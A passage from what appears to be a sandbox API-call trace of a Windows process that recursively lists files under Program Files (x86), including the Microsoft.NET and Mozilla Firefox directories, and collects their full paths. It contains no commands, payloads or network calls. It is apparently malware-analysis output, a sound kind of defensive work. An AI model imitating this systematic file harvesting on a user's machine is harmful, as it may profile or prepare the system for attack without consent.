hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.837] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0123.837] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0123.837] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.837] lstrcmpW (lpString1="AssemblyList_4_client.xml", lpString2=".") returned 1 [0123.837] lstrcmpW (lpString1="AssemblyList_4_client.xml", lpString2="..") returned 1 [0123.837] lstrlenW (lpString="c:\\Program Files (x86)\\Microsoft.NET\\RedistList\\") returned 48 [0123.837] lstrlenW (lpString="AssemblyList_4_client.xml") returned 25 [0123.837] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\RedistList\\", lpString2="AssemblyList_4_client.xml" | out: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\RedistList\\AssemblyList_4_client.xml") returned="c:\\Program Files (x86)\\Microsoft.NET\\RedistList\\AssemblyList_4_client.xml" [0123.837] lstrlenW (lpString="c:\\Program Files (x86)\\Microsoft.NET\\RedistList\\AssemblyList_4_client.xml") returned 73 [0123.837] lstrcpyW (in: lpString1=0x24b1bf0, lpString2="c:\\Program Files (x86)\\Microsoft.NET\\RedistList\\AssemblyList_4_client.xml" | out: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\RedistList\\AssemblyList_4_client.xml") returned="c:\\Program Files (x86)\\Microsoft.NET\\RedistList\\AssemblyList_4_client.xml" [0123.837] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.837] lstrcmpW (lpString1="AssemblyList_4_extended.xml", lpString2=".") returned 1 [0123.837] lstrcmpW (lpString1="AssemblyList_4_extended.xml", lpString2="..") returned 1 [0123.837] lstrlenW (lpString="c:\\Program Files (x86)\\Microsoft.NET\\RedistList\\") returned 48 [0123.837] lstrlenW (lpString="AssemblyList_4_extended.xml") returned 27 [0123.837] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\RedistList\\", lpString2="AssemblyList_4_extended.xml" | out: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\RedistList\\AssemblyList_4_extended.xml") returned="c:\\Program Files (x86)\\Microsoft.NET\\RedistList\\AssemblyList_4_extended.xml" [0123.837] lstrlenW (lpString="c:\\Program Files (x86)\\Microsoft.NET\\RedistList\\AssemblyList_4_extended.xml") returned 75 [0123.837] lstrcpyW (in: lpString1=0x24b1c90, lpString2="c:\\Program Files (x86)\\Microsoft.NET\\RedistList\\AssemblyList_4_extended.xml" | out: lpString1="c:\\Program Files (x86)\\Microsoft.NET\\RedistList\\AssemblyList_4_extended.xml") returned="c:\\Program Files (x86)\\Microsoft.NET\\RedistList\\AssemblyList_4_extended.xml" [0123.837] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0 [0123.837] FindClose (in: hFindFile=0x4d57a0 | out: hFindFile=0x4d57a0) returned 1 [0123.837] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 0 [0123.838] FindClose (in: hFindFile=0x4d5760 | out: hFindFile=0x4d5760) returned 1 [0123.838] FindNextFileW (in: hFindFile=0x4d5720, lpFindFileData=0x20f2c8 | out: lpFindFileData=0x20f2c8) returned 1 [0123.838] lstrcmpW (lpString1="Mozilla Firefox", lpString2=".") returned 1 [0123.838] lstrcmpW (lpString1="Mozilla Firefox", lpString2="..") returned 1 [0123.838] lstrlenW (lpString="c:\\Program Files (x86)\\") returned 23 [0123.838] lstrlenW (lpString="Mozilla Firefox") returned 15 [0123.838] lstrcatW (in: lpString1="c:\\Program Files (x86)\\", lpString2="Mozilla Firefox" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox") returned="c:\\Program Files (x86)\\Mozilla Firefox" [0123.838] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\") returned="c:\\Program Files (x86)\\Mozilla Firefox\\" [0123.838] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0123.838] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\*") returned="c:\\Program Files (x86)\\Mozilla Firefox\\*" [0123.838] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Mozilla Firefox\\*", lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 0x4d5760 [0123.838] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0123.838] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.838] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0123.838] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0123.838] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.838] lstrcmpW (lpString1="AccessibleMarshal.dll", lpString2=".") returned 1 [0123.838] lstrcmpW (lpString1="AccessibleMarshal.dll", lpString2="..") returned 1 [0123.838] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0123.838] lstrlenW (lpString="AccessibleMarshal.dll") returned 21 [0123.838] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="AccessibleMarshal.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\AccessibleMarshal.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\AccessibleMarshal.dll" [0123.838] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\AccessibleMarshal.dll") returned 60 [0123.838] lstrcpyW (in: lpString1=0x24b1d48, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\AccessibleMarshal.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\AccessibleMarshal.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\AccessibleMarshal.dll" [0123.838] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.838] lstrcmpW (lpString1="application.ini", lpString2=".") returned 1 [0123.838] lstrcmpW (lpString1="application.ini", lpString2="..") returned 1 [0123.838] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0123.838] lstrlenW (lpString="application.ini") returned 15 [0123.838] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="application.ini" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\application.ini") returned="c:\\Program Files (x86)\\Mozilla Firefox\\application.ini" [0123.838] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\application.ini") returned 54 [0123.838] lstrcpyW (in: lpString1=0x24b08d0, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\application.ini" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\application.ini") returned="c:\\Program Files (x86)\\Mozilla Firefox\\application.ini" [0123.838] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.838] lstrcmpW (lpString1="breakpadinjector.dll", lpString2=".") returned 1 [0123.838] lstrcmpW (lpString1="breakpadinjector.dll", lpString2="..") returned 1 [0123.838] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0123.838] lstrlenW (lpString="breakpadinjector.dll") returned 20 [0123.838] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="breakpadinjector.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\breakpadinjector.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\breakpadinjector.dll" [0123.838] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\breakpadinjector.dll") returned 59 [0123.838] lstrcpyW (in: lpString1=0x24b3d30, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\breakpadinjector.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\breakpadinjector.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\breakpadinjector.dll" [0123.839] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.839] lstrcmpW (lpString1="browser", lpString2=".") returned 1 [0123.839] lstrcmpW (lpString1="browser", lpString2="..") returned 1 [0123.839] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0123.839] lstrlenW (lpString="browser") returned 7 [0123.839] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="browser" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\browser") returned="c:\\Program Files (x86)\\Mozilla Firefox\\browser" [0123.839] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\browser", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\") returned="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\" [0123.839] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\") returned 47 [0123.839] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\*") returned="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\*" [0123.839] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\*", lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0x4d57a0 [0123.839] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0123.839] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.839] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0123.839] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0123.839] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.839] lstrcmpW (lpString1="blocklist.xml", lpString2=".") returned 1 [0123.839] lstrcmpW (lpString1="blocklist.xml", lpString2="..") returned 1 [0123.839] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\") returned 47 [0123.839] lstrlenW (lpString="blocklist.xml") returned 13 [0123.839] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\", lpString2="blocklist.xml" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\blocklist.xml") returned="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\blocklist.xml" [0123.839] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\blocklist.xml") returned 60 [0123.839] lstrcpyW (in: lpString1=0x24b1dd0, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\blocklist.xml" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\blocklist.xml") returned="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\blocklist.xml" [0123.839] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.839] lstrcmpW (lpString1="chrome.manifest", lpString2=".") returned 1 [0123.839] lstrcmpW (lpString1="chrome.manifest", lpString2="..") returned 1 [0123.839] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\") returned 47 [0123.839] lstrlenW (lpString="chrome.manifest") returned 15 [0123.840] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\", lpString2="chrome.manifest" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\chrome.manifest") returned="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\chrome.manifest" [0123.840] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\chrome.manifest") returned 62 [0123.840] lstrcpyW (in: lpString1=0x24b1e58, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\chrome.manifest" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\chrome.manifest") returned="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\chrome.manifest" [0123.840] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.840] lstrcmpW (lpString1="components", lpString2=".") returned 1 [0123.840] lstrcmpW (lpString1="components", lpString2="..") returned 1 [0123.840] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\") returned 47 [0123.840] lstrlenW (lpString="components") returned 10 [0123.840] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\", lpString2="components" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\components") returned="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\components" [0123.840] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.840] lstrcmpW (lpString1="crashreporter-override.ini", lpString2=".") returned 1 [0123.840] lstrcmpW (lpString1="crashreporter-override.ini", lpString2="..") returned 1 [0123.840] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\") returned 47 [0123.840] lstrlenW (lpString="crashreporter-override.ini") returned 26 [0123.840] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\", lpString2="crashreporter-override.ini" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\crashreporter-override.ini") returned="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\crashreporter-override.ini" [0123.840] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\crashreporter-override.ini") returned 73 [0123.840] lstrcpyW (in: lpString1=0x24b3db0, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\crashreporter-override.ini" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\crashreporter-override.ini") returned="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\crashreporter-override.ini" [0123.840] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.840] lstrcmpW (lpString1="extensions", lpString2=".") returned 1 [0123.840] lstrcmpW (lpString1="extensions", lpString2="..") returned 1 [0123.840] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\") returned 47 [0123.840] lstrlenW (lpString="extensions") returned 10 [0123.840] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\", lpString2="extensions" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\extensions") returned="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\extensions" [0123.840] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.840] lstrcmpW (lpString1="omni.ja", lpString2=".") returned 1 [0123.840] lstrcmpW (lpString1="omni.ja", lpString2="..") returned 1 [0123.840] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\") returned 47 [0123.840] lstrlenW (lpString="omni.ja") returned 7 [0123.840] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\", lpString2="omni.ja" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\omni.ja") returned="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\omni.ja" [0123.840] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\omni.ja") returned 54 [0123.840] lstrcpyW (in: lpString1=0x24b0948, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\omni.ja" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\omni.ja") returned="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\omni.ja" [0123.840] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.840] lstrcmpW (lpString1="searchplugins", lpString2=".") returned 1 [0123.840] lstrcmpW (lpString1="searchplugins", lpString2="..") returned 1 [0123.840] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\") returned 47 [0123.840] lstrlenW (lpString="searchplugins") returned 13 [0123.840] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\", lpString2="searchplugins" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\searchplugins") returned="c:\\Program Files (x86)\\Mozilla Firefox\\browser\\searchplugins" [0123.840] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0 [0123.840] FindClose (in: hFindFile=0x4d57a0 | out: hFindFile=0x4d57a0) returned 1 [0123.841] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.841] lstrcmpW (lpString1="crashreporter.exe", lpString2=".") returned 1 [0123.841] lstrcmpW (lpString1="crashreporter.exe", lpString2="..") returned 1 [0123.841] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0123.841] lstrlenW (lpString="crashreporter.exe") returned 17 [0123.841] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="crashreporter.exe" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\crashreporter.exe") returned="c:\\Program Files (x86)\\Mozilla Firefox\\crashreporter.exe" [0123.841] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\crashreporter.exe") returned 56 [0123.841] lstrcpyW (in: lpString1=0x24b3e50, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\crashreporter.exe" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\crashreporter.exe") returned="c:\\Program Files (x86)\\Mozilla Firefox\\crashreporter.exe" [0123.841] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.841] lstrcmpW (lpString1="crashreporter.ini", lpString2=".") returned 1 [0123.841] lstrcmpW (lpString1="crashreporter.ini", lpString2="..") returned 1 [0123.841] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0123.841] lstrlenW (lpString="crashreporter.ini") returned 17 [0123.841] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="crashreporter.ini" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\crashreporter.ini") returned="c:\\Program Files (x86)\\Mozilla Firefox\\crashreporter.ini" [0123.841] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\crashreporter.ini") returned 56 [0123.841] lstrcpyW (in: lpString1=0x24b3ed0, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\crashreporter.ini" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\crashreporter.ini") returned="c:\\Program Files (x86)\\Mozilla Firefox\\crashreporter.ini" [0123.841] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.841] lstrcmpW (lpString1="D3DCompiler_43.dll", lpString2=".") returned 1 [0123.841] lstrcmpW (lpString1="D3DCompiler_43.dll", lpString2="..") returned 1 [0123.841] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0123.841] lstrlenW (lpString="D3DCompiler_43.dll") returned 18 [0123.841] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="D3DCompiler_43.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\D3DCompiler_43.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\D3DCompiler_43.dll" [0123.841] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\D3DCompiler_43.dll") returned 57 [0123.841] lstrcpyW (in: lpString1=0x24b3f50, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\D3DCompiler_43.dll" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\D3DCompiler_43.dll") returned="c:\\Program Files (x86)\\Mozilla Firefox\\D3DCompiler_43.dll" [0123.841] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.841] lstrcmpW (lpString1="defaults", lpString2=".") returned 1 [0123.841] lstrcmpW (lpString1="defaults", lpString2="..") returned 1 [0123.841] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0123.841] lstrlenW (lpString="defaults") returned 8 [0123.841] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="defaults" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\defaults") returned="c:\\Program Files (x86)\\Mozilla Firefox\\defaults" [0123.842] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\defaults", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\defaults\\") returned="c:\\Program Files (x86)\\Mozilla Firefox\\defaults\\" [0123.842] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\defaults\\") returned 48 [0123.842] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\defaults\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\defaults\\*") returned="c:\\Program Files (x86)\\Mozilla Firefox\\defaults\\*" [0123.842] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Mozilla Firefox\\defaults\\*", lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0x4d57a0 [0123.842] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0123.842] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.842] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0123.842] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0123.842] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.842] lstrcmpW (lpString1="pref", lpString2=".") returned 1 [0123.842] lstrcmpW (lpString1="pref", lpString2="..") returned 1 [0123.842] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\defaults\\") returned 48 [0123.842] lstrlenW (lpString="pref") returned 4 [0123.842] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\defaults\\", lpString2="pref" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\defaults\\pref") returned="c:\\Program Files (x86)\\Mozilla Firefox\\defaults\\pref" [0123.842] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0 [0123.842] FindClose (in: hFindFile=0x4d57a0 | out: hFindFile=0x4d57a0) returned 1 [0123.842] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.842] lstrcmpW (lpString1="dependentlibs.list", lpString2=".") returned 1 [0123.842] lstrcmpW (lpString1="dependentlibs.list", lpString2="..") returned 1 [0123.842] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0123.842] lstrlenW (lpString="dependentlibs.list") returned 18 [0123.842] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="dependentlibs.list" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\dependentlibs.list") returned="c:\\Program Files (x86)\\Mozilla Firefox\\dependentlibs.list" [0123.842] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\dependentlibs.list") returned 57 [0123.842] lstrcpyW (in: lpString1=0x24b3fd0, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\dependentlibs.list" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\dependentlibs.list") returned="c:\\Program Files (x86)\\Mozilla Firefox\\dependentlibs.list" [0123.842] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.842] lstrcmpW (lpString1="dictionaries", lpString2=".") returned 1 [0123.842] lstrcmpW (lpString1="dictionaries", lpString2="..") returned 1 [0123.842] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0123.842] lstrlenW (lpString="dictionaries") returned 12 [0123.842] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="dictionaries" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\dictionaries") returned="c:\\Program Files (x86)\\Mozilla Firefox\\dictionaries" [0123.843] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\dictionaries", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\dictionaries\\") returned="c:\\Program Files (x86)\\Mozilla Firefox\\dictionaries\\" [0123.843] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\dictionaries\\") returned 52 [0123.843] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\dictionaries\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\dictionaries\\*") returned="c:\\Program Files (x86)\\Mozilla Firefox\\dictionaries\\*" [0123.843] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Mozilla Firefox\\dictionaries\\*", lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0x4d57a0 [0123.843] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0123.843] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.843] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0123.843] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0123.843] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.843] lstrcmpW (lpString1="en-US.aff", lpString2=".") returned 1 [0123.843] lstrcmpW (lpString1="en-US.aff", lpString2="..") returned 1 [0123.843] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\dictionaries\\") returned 52 [0123.843] lstrlenW (lpString="en-US.aff") returned 9 [0123.843] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\dictionaries\\", lpString2="en-US.aff" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\dictionaries\\en-US.aff") returned="c:\\Program Files (x86)\\Mozilla Firefox\\dictionaries\\en-US.aff" [0123.843] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\dictionaries\\en-US.aff") returned 61 [0123.843] lstrcpyW (in: lpString1=0x24b1ee0, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\dictionaries\\en-US.aff" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\dictionaries\\en-US.aff") returned="c:\\Program Files (x86)\\Mozilla Firefox\\dictionaries\\en-US.aff" [0123.843] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 1 [0123.843] lstrcmpW (lpString1="en-US.dic", lpString2=".") returned 1 [0123.843] lstrcmpW (lpString1="en-US.dic", lpString2="..") returned 1 [0123.843] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\dictionaries\\") returned 52 [0123.843] lstrlenW (lpString="en-US.dic") returned 9 [0123.843] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\dictionaries\\", lpString2="en-US.dic" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\dictionaries\\en-US.dic") returned="c:\\Program Files (x86)\\Mozilla Firefox\\dictionaries\\en-US.dic" [0123.843] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\dictionaries\\en-US.dic") returned 61 [0123.843] lstrcpyW (in: lpString1=0x24b1f68, lpString2="c:\\Program Files (x86)\\Mozilla Firefox\\dictionaries\\en-US.dic" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\dictionaries\\en-US.dic") returned="c:\\Program Files (x86)\\Mozilla Firefox\\dictionaries\\en-US.dic" [0123.843] FindNextFileW (in: hFindFile=0x4d57a0, lpFindFileData=0x20ed50 | out: lpFindFileData=0x20ed50) returned 0 [0123.843] FindClose (in: hFindFile=0x4d57a0 | out: hFindFile=0x4d57a0) returned 1 [0123.843] FindNextFileW (in: hFindFile=0x4d5760, lpFindFileData=0x20f00c | out: lpFindFileData=0x20f00c) returned 1 [0123.843] lstrcmpW (lpString1="firefox.exe", lpString2=".") returned 1 [0123.843] lstrcmpW (lpString1="firefox.exe", lpString2="..") returned 1 [0123.843] lstrlenW (lpString="c:\\Program Files (x86)\\Mozilla Firefox\\") returned 39 [0123.843] lstrlenW (lpString="firefox.exe") returned 11 [0123.843] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\", lpString2="firefox.exe" | out: lpString1="c:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe") 